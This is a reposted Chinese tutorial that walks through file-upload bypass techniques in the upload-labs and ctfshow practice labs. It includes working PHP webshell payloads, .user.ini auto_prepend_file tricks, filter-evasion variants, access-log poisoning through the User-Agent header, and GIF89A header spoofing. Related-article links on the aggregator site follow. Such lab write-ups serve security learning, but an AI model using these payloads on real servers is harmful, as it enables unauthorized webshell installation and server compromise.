day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性

这篇具有很好参考价值的文章主要介绍了day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1.JS验证

2.JS验证+MIME 

3.JS验证+.user.ini 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

5.JS验证+.user.ini+短标签+过滤 [ ]

6.JS验证+.user.ini+短标签+加过滤+文件头


有关文件上传的知识
1.为什么文件上传存在漏洞
       上传文件时,如果服务瑞代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、php、 jsp等格式的文件)。
2.危害
       非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

本文知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.in妙用
4、文件上传-PHP语言特性

后门代码需要特定后缀格式解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

本文将通过upload-labs靶场进行演示说明,关于upload-labs靶场的搭建请参考这篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501

1.JS验证

upload-labs靶场第一关

用哥斯拉生成一个php后门文件,打开哥斯拉点击管理->生成,将生成的后门文件重命名为hm.php(方便演示)

关于哥斯拉的使用和安装请参考这篇文章:哥斯拉安装和使用

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

上传png文件成功,上传hm.php文件失败

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

F12修改前端代码

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

复制php文件路径(http://localhost/upload-labs/upload/hm.php ),用哥斯拉尝试连接

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端 day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

2.JS验证+MIME 

upload-labs靶场第二关

这里直接F12修改后是没有用的

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

通过抓包发现上传png文件时和上传php文件时,Content-Type的值不一样

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端 day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

现在我们将上传php文件时的Content-Type值修改为image/png,我们发现上传成功

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端 day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

3.JS验证+.user.ini 

user.ini:auto_prepend_file=hm.png
hm.png:<?php eval($_POST[x]);?>

后台对文件后缀进行限制,拦截php等相关后缀,导致后门代码无法上传,这里我们要用到.user.ini注意.user.ini的使用是有条件的,只适用于php,别的语言可能不支持,这里主要讲解思路,语言不一样,但思路都差不多,可以自己去了解一下,别的语言有没有类似与.uer.ini文件这样的功能。

.user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。.user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑。它包含了PHP的配置选项和值,每个选项和值都以等号(=)分隔。当php再进行扫描的时候会读取到web目录下的ini文件,从而进行触发。

在这个配置中存在两个配置项:auto_append_file和auto_prepend_file

1.auto_prepend_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
2.auto_append_file
和auto_prepend_file类似,这个是指内容添加到文末,如果有exit会无法调用到

upload-labs靶场第五关

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。反复观察发现没有被限制的后缀名有 .php7 以及 .ini。现在我们该怎么办呢,php文件不能上传,那么我们能不能把后门代码写在png文件里面呢,这样显然是不行的,这样会导致格式错误,这里我们就要用到php特有的.user.ini文件,上面已经介绍过了,.user.ini的配置项auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件,该文件的内容将被插入到原始脚。这是什么意识呢,这里我解释一下,也就是说我们如果直接将后门代码写在png文件下是不能上传的,因为php文件被拦截了,所以这里我们要借auto_prepend_file,将png文件设定为指定文件,这样png文件里面的后门代码就会插入到原脚本(也就是和传入文件同目录的php文件,这里是readme.php), 这样我们就成功将后门代码植入到了php文件中,而index.php文件本来就是项目文件,这样就可以通过index.php连接哥斯拉了。

现在我们创建一个.user.ini文件,在文件里写入auto_prepend_file=hm.png。然后将我们生成的木马文件hm.php改为hm.png,然后将这两个文件上传

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端

现在我们尝试一下用readme.php连接哥斯拉

day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性,小迪安全-2022年,前端测试连接成功 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

user.ini:auto_prepend_file=text.png
text.png:<?=eval($_POST[pass]);?>

后台对文件后缀以及短标签<?php进行限制,这个时候不但要考虑php后缀文件不能上传,还要考虑后门代码不能出现<?php

这里有几种替换短标签<?php的方法,效果是一样的,一般用第二种和第四种,因为不需要前提条件

1.<?echo '123';?>  //前提是开启配置参数short_open_tags=on

2.<?=(表达式)?>    //不需要开启参数设置

将<?php eval($_POST[pass]);?>替换成<?=eval($_POST[pass]);?>

3.<% echo '123';%>  //前提是开启了配置参数asp_tags=on

4.<script language="php">echo '1'</script> //不用修改参数开关

5.JS验证+.user.ini+短标签+过滤 [ ]

过滤[],用{}替代(ctfshow156关)

user.ini:auto_prepend_file=hm.png
hm.png:<?=eval($_POST{pass});?>

过滤了后门语句的分号;和php(ctfshow157关)

zm.png:<?=system('tac ../fl*')?>    

过滤了;,php,() (ctfshow158,159关)

zm.png:<?echo'tac /var/www/html/f*'?>

基本都过滤了(ctfshow160关)

包含默认日志,日志记录UA头,UA头写后门代码

user.ini:auto_prepend_file=zm.png
zm.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

6.JS验证+.user.ini+短标签+加过滤+文件头

文件头部检测是否为图片格式文件(ctfshow161关)文章来源地址https://www.toymoban.com/news/detail-823783.html

user.ini:GIF89A auto_prepend_file=zm.png
zm.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

到了这里,关于day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • web攻防-通用漏洞&验证码识别&复用&调用&找回密码重定向&状态值

    目录 一、知识点概述 二、找回密码过程中涉及到的安全问题 三、案例演示 验证码回显 修改Response状态值 验证码爆破 四、真实案例1 更改状态值 验证码接口调用 五、真实案例2 用户名重定向 六、安全修复方案 找回密码逻辑机制 - 回显 验证码 指向。 验证码验证安全机制

    2024年02月04日
    浏览(68)
  • 网络安全全栈培训笔记(WEB攻防-51-WEB攻防-通用漏洞&验证码识别&复用&调用&找回密码重定向&状态值)

    知识点: 1、找回密码逻辑机制-回显验证码指向 2、验证码验证安全机制-爆破复用识别 3、找回密码客户端回显Response状态值修改重定向 4、验证码技术验证码爆破,验证码复用,验证码识别等 详细点: 找回密码流程安全: 1、用回显状态判断-res前端判断不安全 2、用用户名重

    2024年01月16日
    浏览(48)
  • 35、WEB攻防——通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持

    XSS产生于前端的漏洞,常产生于: XSS分类: 反射型(非持久型) 存储型(持久型),攻击代码被写入数据库中。常见于:写日志、留言、评论的地方 DOM型 DOM型XSS与反射型XSS、存储型XSS的最大区别在于:DOM型XSS前端的数据是传输给前端JS代码进行处理,而反射型XSS、存储型

    2024年01月25日
    浏览(45)
  • WEB攻防通用漏洞&跨域CORS资源&JSONP回调&域名接管劫持

    目录 一、同源策略(SOC) 二、跨域资源(COSP) 三、回调跨域(JSOP) 四、CORS资源跨域-敏感页面原码获取 五、JSONP 回调跨域-某牙个人信息泄露 六、子域名劫持接管 同源策略 (SOP)-“ 同源 ” 包括三个条件:同协议、同域名、同端口。 会检测数据包的来源在哪里,进而来判

    2024年02月01日
    浏览(44)
  • 第52天:WEB攻防-通用漏洞&弱口令安全&社工字典生成&服务协议&Web应用

    思维导图 前置知识 案例一:Zblog-密文 MD5 传输加密猜解 案例二:服务类-SSHRDP 远程终端猜解 案例三:应用类-ZIPWord 文件压缩包猜解 案例四:github上收集的常见服务器设备,协议,以及常见平台默认密码 产生原因: 安全意识:自己设置的xiaojie123弱密码 初始化:初始密码为

    2024年04月14日
    浏览(29)
  • 29、WEB攻防——通用漏洞&SQL注入&增删改查&盲注&延迟&布尔&报错

    概念:在注入过程中,获取的数据不能回显至前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程被称为盲注。 解决:常规的联合查询注入不行的情况。 分类: 基于布尔的SQL盲注,逻辑判断。 /blog/news.php?id=1 and if(1=1,sleep(5),0) 基于时间的SQL盲注,延时判断。

    2024年01月20日
    浏览(33)
  • 小迪安全25WEB 攻防-通用漏洞&SQL 读写注入&MYSQL&MSSQL&PostgreSQL

       #知识点:  1、SQL 注入-MYSQL 数据库  2、SQL 注入-MSSQL(SQL server) 数据库  3、SQL 注入-PostgreSQL 数据库  #详细点:  Access 无高权限注入点-只能猜解,还是暴力猜解           因为access的数据库是独立存在的,不存在统一管理 对账号密码进行猜解,此时只是获取到后台的操

    2024年02月20日
    浏览(39)
  • 28、web攻防——通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST请求

    $_GET :接收get请求,传输少量数据,URL是有长度限制的; $_POST :接收post请求; $_COOKIE :接收cookie,用于身份验证; $_REQUEST :收集通过 GET 、POST和COOKIE 方法发送的表单数据; $_SERVER :接收数据包中的一些内容,如浏览器信息、当前访问url地址等; 网站功能点: 后台要记录

    2024年01月19日
    浏览(36)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

    # 知识点: 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞发现利用点 - 函数 数据 4 、 Java 反序列化考点 - 真实 CTF 赛题 - 审计分析 # 内容点: 1 、明白 -Java 反序列化原理 2 、判断 -Java 反序列化漏洞 3 、学会 -Ysoserial 工具

    2024年04月10日
    浏览(46)
  • 网络安全全栈培训笔记(53-WEB攻防-通用漏洞&CRLF注入&URL重定向&资源处理拒绝服务)

    知识点: 1、CRLF注入-原理检测利用 2、URL重定向-原理检测利用 3、Web拒绝服务-原理检测利用 #下节预告: 1、JSONPCORS跨域 2、域名安全接管劫持 #详细点: 1.CRLF注入漏洞,是因为Wb应用没有对用户输入做严格验证,导致攻击者可以输入一些 恶意字符。攻击者一旦向清求行或首部

    2024年01月15日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包